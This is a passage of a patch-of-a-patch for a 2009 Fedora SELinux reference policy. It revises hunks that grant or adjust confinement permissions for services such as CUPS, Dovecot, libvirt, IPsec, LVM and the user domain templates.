  allow cupsd_config_t self:fifo_file rw_fifo_file_perms;
  allow cupsd_config_t self:unix_stream_socket create_socket_perms;
  allow cupsd_config_t self:unix_dgram_socket create_socket_perms;
-@@ -407,6 +418,7 @@
+@@ -407,6 +422,7 @@
  
  userdom_dontaudit_use_unpriv_user_fds(cupsd_config_t)
  userdom_dontaudit_search_user_home_dirs(cupsd_config_t)
@@ -12720,7 +12732,7 @@ diff -b -B --ignore-all-space --exclude-
  
  cups_stream_connect(cupsd_config_t)
  
-@@ -419,12 +431,15 @@
+@@ -419,12 +435,15 @@
  ')
  
  optional_policy(`
@@ -12738,7 +12750,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	optional_policy(`
  		hal_dbus_chat(cupsd_config_t)
-@@ -446,6 +461,10 @@
+@@ -446,6 +465,10 @@
  ')
  
  optional_policy(`
@@ -12749,7 +12761,7 @@ diff -b -B --ignore-all-space --exclude-
  	rpm_read_db(cupsd_config_t)
  ')
  
-@@ -542,6 +561,8 @@
+@@ -542,6 +565,8 @@
  manage_dirs_pattern(cups_pdf_t, cups_pdf_tmp_t, cups_pdf_tmp_t)
  files_tmp_filetrans(cups_pdf_t, cups_pdf_tmp_t, { file dir })
  
@@ -12758,7 +12770,7 @@ diff -b -B --ignore-all-space --exclude-
  kernel_read_system_state(cups_pdf_t)
  
  files_read_etc_files(cups_pdf_t)
-@@ -556,11 +577,15 @@
+@@ -556,11 +581,15 @@
  miscfiles_read_fonts(cups_pdf_t)
  
  userdom_home_filetrans_user_home_dir(cups_pdf_t)
@@ -12774,7 +12786,7 @@ diff -b -B --ignore-all-space --exclude-
  
  tunable_policy(`use_nfs_home_dirs',`
  	fs_manage_nfs_dirs(cups_pdf_t)
-@@ -601,6 +626,9 @@
+@@ -601,6 +630,9 @@
  read_lnk_files_pattern(hplip_t, hplip_etc_t, hplip_etc_t)
  files_search_etc(hplip_t)
  
@@ -13304,7 +13316,7 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/dovecot.te serefpolicy-3.6.32/policy/modules/services/dovecot.te
 --- nsaserefpolicy/policy/modules/services/dovecot.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/dovecot.te	2009-10-05 09:17:34.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/dovecot.te	2009-10-20 14:55:45.000000000 -0400
 @@ -56,7 +56,7 @@
  
  allow dovecot_t self:capability { dac_override dac_read_search chown net_bind_service setgid setuid sys_chroot };
@@ -13347,6 +13359,21 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  #
  # dovecot deliver local policy
+@@ -260,3 +267,14 @@
+ optional_policy(`
+ 	mta_manage_spool(dovecot_deliver_t)
+ ')
++
++tunable_policy(`use_nfs_home_dirs',`
++	fs_manage_nfs_files(dovecot_t)
++	fs_manage_nfs_symlinks(dovecot_t)
++')
++
++tunable_policy(`use_samba_home_dirs',`
++	fs_manage_cifs_files(dovecot_t)
++	fs_manage_cifs_symlinks(dovecot_t)
++')
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/exim.te serefpolicy-3.6.32/policy/modules/services/exim.te
 --- nsaserefpolicy/policy/modules/services/exim.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/exim.te	2009-09-30 16:12:48.000000000 -0400
@@ -13858,6 +13885,15 @@ diff -b -B --ignore-all-space --exclude-
  kernel_list_proc(howl_t)
  kernel_read_proc_symlinks(howl_t)
  
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/inetd.fc serefpolicy-3.6.32/policy/modules/services/inetd.fc
+--- nsaserefpolicy/policy/modules/services/inetd.fc	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/inetd.fc	2009-10-20 08:54:47.000000000 -0400
+@@ -9,4 +9,4 @@
+ 
+ /var/log/(x)?inetd\.log	--	gen_context(system_u:object_r:inetd_log_t,s0)
+ 
+-/var/run/inetd\.pid	--	gen_context(system_u:object_r:inetd_var_run_t,s0)
++/var/run/(x)?inetd\.pid	--	gen_context(system_u:object_r:inetd_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/inetd.te serefpolicy-3.6.32/policy/modules/services/inetd.te
 --- nsaserefpolicy/policy/modules/services/inetd.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/inetd.te	2009-09-30 16:12:48.000000000 -0400
@@ -18949,7 +18985,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/samba.te serefpolicy-3.6.32/policy/modules/services/samba.te
 --- nsaserefpolicy/policy/modules/services/samba.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/samba.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/samba.te	2009-10-20 15:50:54.000000000 -0400
 @@ -66,6 +66,13 @@
  ## </desc>
  gen_tunable(samba_share_nfs, false)
@@ -21199,7 +21235,7 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/libvirt/qemu(/.*)? 	gen_context(system_u:object_r:svirt_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/virt.if serefpolicy-3.6.32/policy/modules/services/virt.if
 --- nsaserefpolicy/policy/modules/services/virt.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/virt.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/virt.if	2009-10-20 18:38:58.000000000 -0400
 @@ -136,7 +136,7 @@
  	')
  
@@ -21364,7 +21400,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/virt.te serefpolicy-3.6.32/policy/modules/services/virt.te
 --- nsaserefpolicy/policy/modules/services/virt.te	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-10-01 16:59:54.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-10-20 18:29:08.000000000 -0400
 @@ -20,6 +20,28 @@
  ## </desc>
  gen_tunable(virt_use_samba, false)
@@ -21471,7 +21507,15 @@ diff -b -B --ignore-all-space --exclude-
  
  manage_dirs_pattern(virtd_t, virt_log_t, virt_log_t)
  manage_files_pattern(virtd_t, virt_log_t, virt_log_t)
-@@ -86,7 +144,8 @@
+@@ -76,6 +134,7 @@
+ 
+ manage_dirs_pattern(virtd_t, virt_var_lib_t, virt_var_lib_t)
+ manage_files_pattern(virtd_t, virt_var_lib_t, virt_var_lib_t)
++manage_sock_files_pattern(virtd_t, virt_var_lib_t, virt_var_lib_t)
+ files_var_lib_filetrans(virtd_t, virt_var_lib_t, { file dir })
+ 
+ manage_dirs_pattern(virtd_t, virt_var_run_t, virt_var_run_t)
+@@ -86,7 +145,8 @@
  kernel_read_system_state(virtd_t)
  kernel_read_network_state(virtd_t)
  kernel_rw_net_sysctls(virtd_t)
@@ -21481,7 +21525,7 @@ diff -b -B --ignore-all-space --exclude-
  
  corecmd_exec_bin(virtd_t)
  corecmd_exec_shell(virtd_t)
-@@ -97,30 +156,55 @@
+@@ -97,30 +157,55 @@
  corenet_tcp_sendrecv_generic_node(virtd_t)
  corenet_tcp_sendrecv_all_ports(virtd_t)
  corenet_tcp_bind_generic_node(virtd_t)
@@ -21540,7 +21584,7 @@ diff -b -B --ignore-all-space --exclude-
  term_use_ptmx(virtd_t)
  
  auth_use_nsswitch(virtd_t)
-@@ -130,7 +214,14 @@
+@@ -130,7 +215,14 @@
  
  logging_send_syslog_msg(virtd_t)
  
@@ -21555,7 +21599,7 @@ diff -b -B --ignore-all-space --exclude-
  
  tunable_policy(`virt_use_nfs',`
  	fs_manage_nfs_dirs(virtd_t)
-@@ -168,22 +259,36 @@
+@@ -168,22 +260,36 @@
  	dnsmasq_domtrans(virtd_t)
  	dnsmasq_signal(virtd_t)
  	dnsmasq_kill(virtd_t)
@@ -21597,7 +21641,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -196,8 +301,162 @@
+@@ -196,8 +302,162 @@
  
  	xen_stream_connect(virtd_t)
  	xen_stream_connect_xenstore(virtd_t)
@@ -24656,7 +24700,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/ipsec.te serefpolicy-3.6.32/policy/modules/system/ipsec.te
 --- nsaserefpolicy/policy/modules/system/ipsec.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/ipsec.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/ipsec.te	2009-10-20 11:08:58.000000000 -0400
 @@ -6,6 +6,13 @@
  # Declarations
  #
@@ -24699,7 +24743,7 @@ diff -b -B --ignore-all-space --exclude-
 +allow ipsec_t self:capability { net_admin dac_override dac_read_search sys_nice };
  dontaudit ipsec_t self:capability sys_tty_config;
 -allow ipsec_t self:process { signal setsched };
-+allow ipsec_t self:process { getsched signal setsched };
++allow ipsec_t self:process { getcap setcap getsched signal setsched };
  allow ipsec_t self:tcp_socket create_stream_socket_perms;
  allow ipsec_t self:udp_socket create_socket_perms;
  allow ipsec_t self:key_socket create_socket_perms;
@@ -24718,7 +24762,7 @@ diff -b -B --ignore-all-space --exclude-
  read_lnk_files_pattern(ipsec_t, ipsec_key_file_t, ipsec_key_file_t)
  
  manage_files_pattern(ipsec_t, ipsec_var_run_t, ipsec_var_run_t)
-@@ -82,7 +97,7 @@
+@@ -82,16 +97,17 @@
  # so try flipping back into the ipsec_mgmt_t domain
  corecmd_shell_domtrans(ipsec_t, ipsec_mgmt_t)
  allow ipsec_mgmt_t ipsec_t:fd use;
@@ -24726,8 +24770,19 @@ diff -b -B --ignore-all-space --exclude-
 +allow ipsec_mgmt_t ipsec_t:fifo_file rw_fifo_file_perms;
  allow ipsec_mgmt_t ipsec_t:process sigchld;
  
- kernel_read_kernel_sysctls(ipsec_t)
-@@ -120,7 +135,9 @@
+-kernel_read_kernel_sysctls(ipsec_t)
+ kernel_list_proc(ipsec_t)
++kernel_read_kernel_sysctls(ipsec_t)
+ kernel_read_proc_symlinks(ipsec_t)
+ # allow pluto to access /proc/net/ipsec_eroute;
+ kernel_read_system_state(ipsec_t)
+ kernel_read_network_state(ipsec_t)
+ kernel_read_software_raid_state(ipsec_t)
++kernel_request_load_module(ipsec_t)
+ kernel_getattr_core_if(ipsec_t)
+ kernel_getattr_message_if(ipsec_t)
+ 
+@@ -120,7 +136,9 @@
  
  domain_use_interactive_fds(ipsec_t)
  
@@ -24737,7 +24792,7 @@ diff -b -B --ignore-all-space --exclude-
  
  fs_getattr_all_fs(ipsec_t)
  fs_search_auto_mountpoints(ipsec_t)
-@@ -154,12 +171,12 @@
+@@ -154,12 +172,12 @@
  #
  
  allow ipsec_mgmt_t self:capability { net_admin sys_tty_config dac_override dac_read_search };
@@ -24752,7 +24807,7 @@ diff -b -B --ignore-all-space --exclude-
  
  allow ipsec_mgmt_t ipsec_mgmt_lock_t:file manage_file_perms;
  files_lock_filetrans(ipsec_mgmt_t, ipsec_mgmt_lock_t, file)
-@@ -241,6 +258,7 @@
+@@ -241,6 +259,7 @@
  init_use_script_ptys(ipsec_mgmt_t)
  init_exec_script_files(ipsec_mgmt_t)
  init_use_fds(ipsec_mgmt_t)
@@ -24760,7 +24815,7 @@ diff -b -B --ignore-all-space --exclude-
  
  logging_send_syslog_msg(ipsec_mgmt_t)
  
-@@ -280,6 +298,13 @@
+@@ -280,6 +299,13 @@
  allow racoon_t self:netlink_selinux_socket { bind create read };
  allow racoon_t self:udp_socket create_socket_perms;
  allow racoon_t self:key_socket create_socket_perms;
@@ -24774,7 +24829,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # manage pid file
  manage_files_pattern(racoon_t, ipsec_var_run_t, ipsec_var_run_t)
-@@ -297,6 +322,13 @@
+@@ -297,6 +323,13 @@
  kernel_read_system_state(racoon_t)
  kernel_read_network_state(racoon_t)
  
@@ -24788,7 +24843,7 @@ diff -b -B --ignore-all-space --exclude-
  corenet_all_recvfrom_unlabeled(racoon_t)
  corenet_tcp_sendrecv_all_if(racoon_t)
  corenet_udp_sendrecv_all_if(racoon_t)
-@@ -314,6 +346,8 @@
+@@ -314,6 +347,8 @@
  
  files_read_etc_files(racoon_t)
  
@@ -24797,7 +24852,7 @@ diff -b -B --ignore-all-space --exclude-
  # allow racoon to use avc_has_perm to check context on proposed SA
  selinux_compute_access_vector(racoon_t)
  
-@@ -328,6 +362,14 @@
+@@ -328,6 +363,14 @@
  
  miscfiles_read_localization(racoon_t)
  
@@ -24812,7 +24867,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  #
  # Setkey local policy
-@@ -347,6 +389,7 @@
+@@ -347,6 +390,7 @@
  files_read_etc_files(setkey_t)
  
  init_dontaudit_use_fds(setkey_t)
@@ -24957,7 +25012,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/iptables.te serefpolicy-3.6.32/policy/modules/system/iptables.te
 --- nsaserefpolicy/policy/modules/system/iptables.te	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/iptables.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/iptables.te	2009-10-20 11:08:22.000000000 -0400
 @@ -11,6 +11,12 @@
  init_system_domain(iptables_t, iptables_exec_t)
  role system_r types iptables_t;
@@ -25373,8 +25428,16 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/libraries.if serefpolicy-3.6.32/policy/modules/system/libraries.if
 --- nsaserefpolicy/policy/modules/system/libraries.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/libraries.if	2009-10-15 15:48:13.000000000 -0400
-@@ -247,7 +247,7 @@
++++ serefpolicy-3.6.32/policy/modules/system/libraries.if	2009-10-20 14:41:55.000000000 -0400
+@@ -17,6 +17,7 @@
+ 
+ 	corecmd_search_bin($1)
+ 	domtrans_pattern($1, ldconfig_exec_t, ldconfig_t)
++	allow $1 ldconfig_t:process noatsecure;
+ ')
+ 
+ ########################################
+@@ -247,7 +248,7 @@
  		type lib_t;
  	')
  
@@ -25383,7 +25446,7 @@ diff -b -B --ignore-all-space --exclude-
  	list_dirs_pattern($1, lib_t, lib_t)
  	read_files_pattern($1, lib_t, lib_t)
  	read_lnk_files_pattern($1, lib_t, lib_t)
-@@ -401,7 +401,7 @@
+@@ -401,7 +402,7 @@
  		type lib_t, textrel_shlib_t;
  	')
  
@@ -25394,7 +25457,7 @@ diff -b -B --ignore-all-space --exclude-
  	mmap_files_pattern($1, lib_t, { lib_t textrel_shlib_t })
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/libraries.te serefpolicy-3.6.32/policy/modules/system/libraries.te
 --- nsaserefpolicy/policy/modules/system/libraries.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/libraries.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/libraries.te	2009-10-20 18:45:39.000000000 -0400
 @@ -58,11 +58,11 @@
  # ldconfig local policy
  #
@@ -25409,7 +25472,7 @@ diff -b -B --ignore-all-space --exclude-
  files_etc_filetrans(ldconfig_t, ld_so_cache_t, file)
  
  manage_dirs_pattern(ldconfig_t, ldconfig_tmp_t, ldconfig_tmp_t)
-@@ -76,16 +76,21 @@
+@@ -76,21 +76,27 @@
  
  fs_getattr_xattr_fs(ldconfig_t)
  
@@ -25431,7 +25494,13 @@ diff -b -B --ignore-all-space --exclude-
  
  miscfiles_read_localization(ldconfig_t)
  
-@@ -100,6 +105,10 @@
+ logging_send_syslog_msg(ldconfig_t)
+ 
++term_use_console(ldconfig_t)
+ userdom_use_user_terminals(ldconfig_t)
+ userdom_use_all_users_fds(ldconfig_t)
+ 
+@@ -100,6 +106,10 @@
  	')
  ')
  
@@ -25442,7 +25511,7 @@ diff -b -B --ignore-all-space --exclude-
  ifdef(`hide_broken_symptoms',`
  	optional_policy(`
  		unconfined_dontaudit_rw_tcp_sockets(ldconfig_t)
-@@ -123,3 +132,7 @@
+@@ -123,3 +133,7 @@
  	# blow up.
  	rpm_manage_script_tmp_files(ldconfig_t)
  ')
@@ -25777,7 +25846,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/lvm.te serefpolicy-3.6.32/policy/modules/system/lvm.te
 --- nsaserefpolicy/policy/modules/system/lvm.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/lvm.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/lvm.te	2009-10-20 18:39:22.000000000 -0400
 @@ -10,6 +10,9 @@
  type clvmd_exec_t;
  init_daemon_domain(clvmd_t, clvmd_exec_t)
@@ -25886,6 +25955,17 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
  	modutils_domtrans_insmod(lvm_t)
+@@ -329,6 +352,10 @@
+ ')
+ 
+ optional_policy(`
++	virt_manage_images(lvm_t)
++')
++
++optional_policy(`
+ 	xen_append_log(lvm_t)
+ 	xen_dontaudit_rw_unix_stream_sockets(lvm_t)
+ ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/miscfiles.fc serefpolicy-3.6.32/policy/modules/system/miscfiles.fc
 --- nsaserefpolicy/policy/modules/system/miscfiles.fc	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/system/miscfiles.fc	2009-10-09 09:06:59.000000000 -0400
@@ -28652,7 +28732,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-20 08:04:43.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-20 14:59:26.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  
@@ -29022,7 +29102,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="userdomain_prefix">
  ##	<summary>
-@@ -420,35 +414,48 @@
+@@ -420,35 +414,54 @@
  ##	is the prefix for user_t).
  ##	</summary>
  ## </param>
@@ -29052,7 +29132,13 @@ diff -b -B --ignore-all-space --exclude-
 -	dev_getattr_agp_dev($1_t)
 -	dev_dontaudit_rw_dri($1_t)
 +	dev_getattr_agp_dev($1)
-+	dev_dontaudit_rw_dri($1)
++
++	tunable_policy(`user_direct_dri',`
++		dev_rw_dri($1)
++	',`
++		dev_dontaudit_rw_dri($1)
++	')
++
  	# GNOME checks for usb and other devices:
 -	dev_rw_usbfs($1_t)
 +	dev_rw_usbfs($1)
@@ -29090,7 +29176,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  #######################################
-@@ -498,7 +505,7 @@
+@@ -498,7 +511,7 @@
  		attribute unpriv_userdomain;
  	')
  
@@ -29099,7 +29185,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	##############################
  	#
-@@ -508,182 +515,213 @@
+@@ -508,182 +521,213 @@
  	# evolution and gnome-session try to create a netlink socket
  	dontaudit $1_t self:netlink_socket { create ioctl read getattr write setattr append bind connect getopt setopt shutdown };
  	dontaudit $1_t self:netlink_route_socket { create ioctl read getattr write setattr append bind connect getopt setopt shutdown nlmsg_read nlmsg_write };
@@ -29386,7 +29472,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  #######################################
-@@ -711,13 +749,26 @@
+@@ -711,13 +755,26 @@
  
  	userdom_base_user_template($1)
  
@@ -29418,7 +29504,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	userdom_change_password_template($1)
  
-@@ -735,70 +786,72 @@
+@@ -735,70 +792,72 @@
  
  	allow $1_t self:context contains;
  
@@ -29524,7 +29610,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -826,6 +879,8 @@
+@@ -826,6 +885,8 @@
  	')
  
  	userdom_login_user_template($1)
@@ -29533,18 +29619,10 @@ diff -b -B --ignore-all-space --exclude-
  
  	typeattribute $1_t unpriv_userdomain;
  	domain_interactive_fd($1_t)
-@@ -835,6 +890,32 @@
- 	# Local policy
+@@ -836,6 +897,25 @@
  	#
  
-+	tunable_policy(`user_rw_noexattrfile',`
-+		fs_manage_noxattr_fs_files($1_usertype)
-+		fs_manage_noxattr_fs_dirs($1_usertype)
-+		fs_manage_dos_dirs($1_usertype)
-+		fs_manage_dos_files($1_usertype)
-+	')
-+
-+	optional_policy(`
+ 	optional_policy(`
 +		dbus_role_template($1, $1_r, $1_usertype)
 +		dbus_system_bus_client($1_usertype)
 +		allow $1_usertype $1_usertype:dbus send_msg;
@@ -29563,10 +29641,11 @@ diff -b -B --ignore-all-space --exclude-
 +		')
 +	')
 +
- 	optional_policy(`
++	optional_policy(`
  		loadkeys_run($1_t,$1_r)
  	')
-@@ -865,51 +946,84 @@
+ ')
+@@ -865,51 +945,93 @@
  
  	userdom_restricted_user_template($1)
  
@@ -29583,12 +29662,12 @@ diff -b -B --ignore-all-space --exclude-
  	auth_role($1_r, $1_t)
 -	auth_search_pam_console_data($1_t)
 +	auth_search_pam_console_data($1_usertype)
-+
-+	xserver_role($1_r, $1_t)
-+	xserver_communicate($1_usertype, $1_usertype)
  
 -	dev_read_sound($1_t)
 -	dev_write_sound($1_t)
++	xserver_role($1_r, $1_t)
++	xserver_communicate($1_usertype, $1_usertype)
++
 +	dev_read_sound($1_usertype)
 +	dev_write_sound($1_usertype)
  	# gnome keyring wants to read this.
@@ -29601,6 +29680,15 @@ diff -b -B --ignore-all-space --exclude-
 +	dev_read_video_dev($1_usertype)
 +	dev_write_video_dev($1_usertype)
 +
++	tunable_policy(`user_rw_noexattrfile',`
++		fs_manage_noxattr_fs_files($1_usertype)
++		fs_manage_noxattr_fs_dirs($1_usertype)
++		fs_manage_dos_dirs($1_usertype)
++		fs_manage_dos_files($1_usertype)
++		storage_raw_read_removable_device($1_usertype)
++		storage_raw_write_removable_device($1_usertype)
++	')
++
 +	logging_send_syslog_msg($1_usertype)
  	logging_dontaudit_send_audit_msgs($1_t)
  
@@ -29664,7 +29752,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -943,8 +1057,8 @@
+@@ -943,8 +1065,8 @@
  	# Declarations
  	#
  
@@ -29674,7 +29762,7 @@ diff -b -B --ignore-all-space --exclude-
  	userdom_common_user_template($1)
  
  	##############################
-@@ -953,58 +1067,67 @@
+@@ -953,58 +1075,67 @@
  	#
  
  	# port access is audited even if dac would not have allowed it, so dontaudit it here
@@ -29772,7 +29860,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -1040,7 +1163,7 @@
+@@ -1040,7 +1171,7 @@
  template(`userdom_admin_user_template',`
  	gen_require(`
  		attribute admindomain;
@@ -29781,7 +29869,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	##############################
-@@ -1049,8 +1172,7 @@
+@@ -1049,8 +1180,7 @@
  	#
  
  	# Inherit rules for ordinary users.
@@ -29791,7 +29879,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	domain_obj_id_change_exemption($1_t)
  	role system_r types $1_t;
-@@ -1075,6 +1197,9 @@
+@@ -1075,6 +1205,9 @@
  	# Skip authentication when pam_rootok is specified.
  	allow $1_t self:passwd rootok;
  
@@ -29801,7 +29889,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_software_raid_state($1_t)
  	kernel_getattr_core_if($1_t)
  	kernel_getattr_message_if($1_t)
-@@ -1089,6 +1214,7 @@
+@@ -1089,6 +1222,7 @@
  	kernel_sigstop_unlabeled($1_t)
  	kernel_signull_unlabeled($1_t)
  	kernel_sigchld_unlabeled($1_t)
@@ -29809,7 +29897,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	corenet_tcp_bind_generic_port($1_t)
  	# allow setting up tunnels
-@@ -1096,8 +1222,6 @@
+@@ -1096,8 +1230,6 @@
  
  	dev_getattr_generic_blk_files($1_t)
  	dev_getattr_generic_chr_files($1_t)
@@ -29818,7 +29906,7 @@ diff -b -B --ignore-all-space --exclude-
  	# Allow MAKEDEV to work
  	dev_create_all_blk_files($1_t)
  	dev_create_all_chr_files($1_t)
-@@ -1124,6 +1248,8 @@
+@@ -1124,12 +1256,11 @@
  	files_exec_usr_src_files($1_t)
  
  	fs_getattr_all_fs($1_t)
@@ -29827,7 +29915,13 @@ diff -b -B --ignore-all-space --exclude-
  	fs_set_all_quotas($1_t)
  	fs_exec_noxattr($1_t)
  
-@@ -1152,20 +1278,6 @@
+-	storage_raw_read_removable_device($1_t)
+-	storage_raw_write_removable_device($1_t)
+-
+ 	term_use_all_terms($1_t)
+ 
+ 	auth_getattr_shadow($1_t)
+@@ -1152,20 +1283,6 @@
  	# But presently necessary for installing the file_contexts file.
  	seutil_manage_bin_policy($1_t)
  
@@ -29848,7 +29942,7 @@ diff -b -B --ignore-all-space --exclude-
  	optional_policy(`
  		postgresql_unconfined($1_t)
  	')
-@@ -1211,6 +1323,7 @@
+@@ -1211,6 +1328,7 @@
  	dev_relabel_all_dev_nodes($1)
  
  	files_create_boot_flag($1)
@@ -29856,7 +29950,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	# Necessary for managing /boot/efi
  	fs_manage_dos_files($1)
-@@ -1276,11 +1389,15 @@
+@@ -1276,11 +1394,15 @@
  interface(`userdom_user_home_content',`
  	gen_require(`
  		type user_home_t;
@@ -29872,7 +29966,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1391,12 +1508,13 @@
+@@ -1391,12 +1513,13 @@
  	')
  
  	allow $1 user_home_dir_t:dir search_dir_perms;
@@ -29887,7 +29981,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -1429,6 +1547,14 @@
+@@ -1429,6 +1552,14 @@
  
  	allow $1 user_home_dir_t:dir list_dir_perms;
  	files_search_home($1)
@@ -29902,7 +29996,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1444,9 +1570,11 @@
+@@ -1444,9 +1575,11 @@
  interface(`userdom_dontaudit_list_user_home_dirs',`
  	gen_require(`
  		type user_home_dir_t;
@@ -29914,7 +30008,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1503,6 +1631,25 @@
+@@ -1503,6 +1636,25 @@
  	allow $1 user_home_dir_t:dir relabelto;
  ')
  
@@ -29940,7 +30034,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  ## <summary>
  ##	Create directories in the home dir root with
-@@ -1577,6 +1724,8 @@
+@@ -1577,6 +1729,8 @@
  	')
  
  	dontaudit $1 user_home_t:dir search_dir_perms;
@@ -29949,7 +30043,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1670,6 +1819,7 @@
+@@ -1670,6 +1824,7 @@
  		type user_home_dir_t, user_home_t;
  	')
  
@@ -29957,7 +30051,7 @@ diff -b -B --ignore-all-space --exclude-
  	read_files_pattern($1, { user_home_dir_t user_home_t }, user_home_t)
  	files_search_home($1)
  ')
-@@ -1797,19 +1947,32 @@
+@@ -1797,19 +1952,32 @@
  #
  interface(`userdom_exec_user_home_content_files',`
  	gen_require(`
@@ -29997,7 +30091,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1844,6 +2007,7 @@
+@@ -1844,6 +2012,7 @@
  interface(`userdom_manage_user_home_content_files',`
  	gen_require(`
  		type user_home_dir_t, user_home_t;
@@ -30005,7 +30099,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	manage_files_pattern($1, user_home_t, user_home_t)
-@@ -2391,27 +2555,7 @@
+@@ -2391,27 +2560,7 @@
  
  ########################################
  ## <summary>
@@ -30034,7 +30128,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
-@@ -2749,7 +2893,7 @@
+@@ -2749,7 +2898,7 @@
  
  	domain_entry_file_spec_domtrans($1, unpriv_userdomain)
  	allow unpriv_userdomain $1:fd use;
@@ -30043,7 +30137,7 @@ diff -b -B --ignore-all-space --exclude-
  	allow unpriv_userdomain $1:process sigchld;
  ')
  
-@@ -2765,11 +2909,32 @@
+@@ -2765,11 +2914,32 @@
  #
  interface(`userdom_search_user_home_content',`
  	gen_require(`
@@ -30078,17 +30172,59 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -2897,7 +3062,25 @@
+@@ -2897,12 +3067,12 @@
